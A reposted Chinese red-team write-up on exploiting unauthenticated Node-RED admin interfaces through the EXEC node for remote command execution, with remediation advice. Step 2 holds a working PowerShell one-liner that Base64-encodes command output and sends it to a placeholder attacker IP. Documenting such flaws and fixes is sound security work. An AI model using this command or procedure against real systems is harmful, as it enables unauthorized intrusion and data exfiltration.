文章总结: 文档记录了Node-REDEXEC节点未授权命令执行漏洞的复现过程。当管理界面存在未授权访问时,攻击者可通过拖拽EXEC节点直接执行系统命令实现RCE。利用步骤包括创建Inject节点触发、配置Exec节点执行Base64编码外带命令、部署流程获取回显。漏洞源于EXEC节点对child_process.exec()的封装,修复建议包括启用adminAuth认证、网络隔离、反向代理和禁用高危节点。 综合评分: 87 文章分类: 漏洞分析,WEB安全,红队,实战经验,IoT安全
Node-RED EXEC 节点未授权命令执行漏洞复现
原创
whoami0002 whoami0002
SecurityPaper
2026年5月13日 21:11 江苏
在小说阅读器读本章
去阅读
最近攻防演练中遇到了一个存在未授权访问的 Node-RED 管理界面,记录一下利用过程。
Node-RED 是一款基于 Node.js 的可视化流编程工具,广泛应用于 IoT 和自动化场景。当管理界面存在未授权访问时,攻击者可通过拖拽 EXEC 节点直接执行任意系统命令,实现 RCE。
0x01 漏洞概述
- 漏洞类型: 未授权命令执行(RCE)
- 影响组件: Node-RED EXEC 节点
- 前提条件: Node-RED 管理界面可未授权访问(默认无认证)
- 危害等级: 高危(可直接获取服务器权限)
0x02 漏洞复现
Step 1:新建 Inject 节点
在 Node-RED 编辑器中拖入一个 inject 节点,用于触发后续流程。
Step 2:新建 Exec 节点并构造命令
拖入一个 exec 节点,连接到 inject 节点后配置命令内容。
经测试,exec 节点执行命令无回显,因此采用 PowerShell 将命令结果 Base64 编码后通过 HTTP 请求外带到攻击者服务器:
cmd.exe /c powershell -Command "& { $base64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((whoami | Out-String))); $encodedUrl = 'http://<攻击机IP>:8080/?data=' + [System.Net.WebUtility]::UrlEncode($base64); Invoke-RestMethod -Uri $encodedUrl }"
踩坑提醒: exec 节点配置中不要勾选
msg.payload,否则 inject 节点传递的时间戳会被拼接到命令末尾,导致命令执行失败。
Step 3:添加 Debug 节点
拖入一个 debug 节点连接到 exec 节点之后,用于调试输出。
Step 4:部署并触发
点击右上角 Deploy 按钮部署流程,部署完成后点击 inject 节点左侧按钮即可触发命令执行。
攻击者在 HTTP 服务端收到外带数据,Base64 解码后即可获得命令执行结果:
0x03 漏洞分析
Node-RED 的 EXEC 节点本质上是对 child_process.exec() 的封装。当管理界面缺乏认证保护时,任何能访问到该页面的用户都可以:
-
创建包含任意命令的 EXEC 节点
-
通过 inject 节点或 HTTP 请求触发执行
-
利用 DNSLog / HTTP 外带等方式获取回显
整个利用过程无需任何编程,纯可视化操作,攻击门槛极低。
0x04 修复建议
- 启用认证: 在
settings.js中配置adminAuth,为管理界面设置用户名密码 - 网络隔离: 将 Node-RED 服务绑定到内网地址,禁止外部直接访问
- 反向代理: 通过 Nginx 等反向代理添加额外的访问控制和 HTTPS 加密
- 禁用高危节点: 在
settings.js中通过functionGlobalContext限制可用的节点类型
// settings.js 中启用认证示例
adminAuth: {
type: "credentials",
users: [{
username: "admin",
password: "$2a$08$...", // bcrypt hash
permissions: "*"
}]
}
0x05 总结
Node-RED 的低代码特性使其极易被滥用。在实际攻防中,Node-RED 常作为 IoT 设备管理平台暴露在公网,且大量实例未配置认证。通过 EXEC 节点实现 RCE 是一种简单高效的攻击路径。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SecurityPaper whoami0002 whoami0002《Node-RED EXEC 节点未授权命令执行漏洞复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论